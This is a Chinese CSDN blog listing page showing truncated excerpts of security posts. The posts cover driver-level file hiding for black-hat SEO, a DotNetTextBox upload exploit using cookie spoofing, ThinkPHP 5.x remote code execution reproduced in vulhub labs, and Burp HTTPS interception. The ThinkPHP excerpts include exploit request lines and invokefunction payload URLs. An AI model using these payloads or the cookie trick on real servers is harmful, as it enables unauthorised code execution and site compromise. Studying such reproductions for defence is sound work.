![](https://img-blog.csdnimg.cn/20201014180756738.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
网安
shadow_pedestrian
热爱编程,可惜不聪明
展开
-
驱动文件隐藏
1、服务器使用文件查找hark.asp 未查找到文件。2、检测了第三方js未发现hark.asp。3、检查了CSS等,未发现跳转代码。4、使用阿D及安全狗,未发现shell,安全狗发现挂马,但是是误报的。驱动级的文件隐藏来实现黑帽SEO的,有如下特征:系统目录存在如下文件:c:\WINDOWS\xlkfs.datc:\WINDOWS\xlkfs.dllc:\WINDOWS\xlkfs.inic:\...转载 2018-06-25 00:26:57 · 2062 阅读 · 0 评论 -
DotNetTextBox编辑器漏洞利用
关键字:system_dntb/确定有 system_dntb/uploadimg.aspx 并能打开,这时候是不能上传的,由于他是验证cookie来得出上传后的路径,这样我们可以用cookie欺骗工具。cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/Upload/;路径可以修改,只是权限够,上传后改名为1.a...转载 2018-06-25 22:25:14 · 863 阅读 · 0 评论 -
thinkphp5.0.23 远程代码执行复现
漏洞影响版本5.0.23之前的版本我使用的是vulhub下提供的漏洞环境,如何使用自行百度谷歌。装好后打开网站如下 使用如下poc,即可实现远程代码执行POST /index.php?s=captcha HTTP/1.1Host: 你的idUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Ge...原创 2019-02-08 23:37:02 · 7124 阅读 · 1 评论 -
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞复现
复现环境thinkphp5.0.22推荐使用vulhub快速搭建漏洞环境漏洞payload:1:/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1002:index.php?s=index/think\app/invokefunction&function=cal...原创 2019-02-09 00:06:02 · 3661 阅读 · 0 评论 -
windows 加 switchyomega + burp 抓https包
很简单,下载证书后导入到受信任根目录证书下载,直接在代理状态浏览器访问burp点击CA就可以下载了 设置该证书全部信任,,switchyomega 设置如下即可 就可以抓https的包了 ...原创 2019-02-23 20:26:08 · 4856 阅读 · 1 评论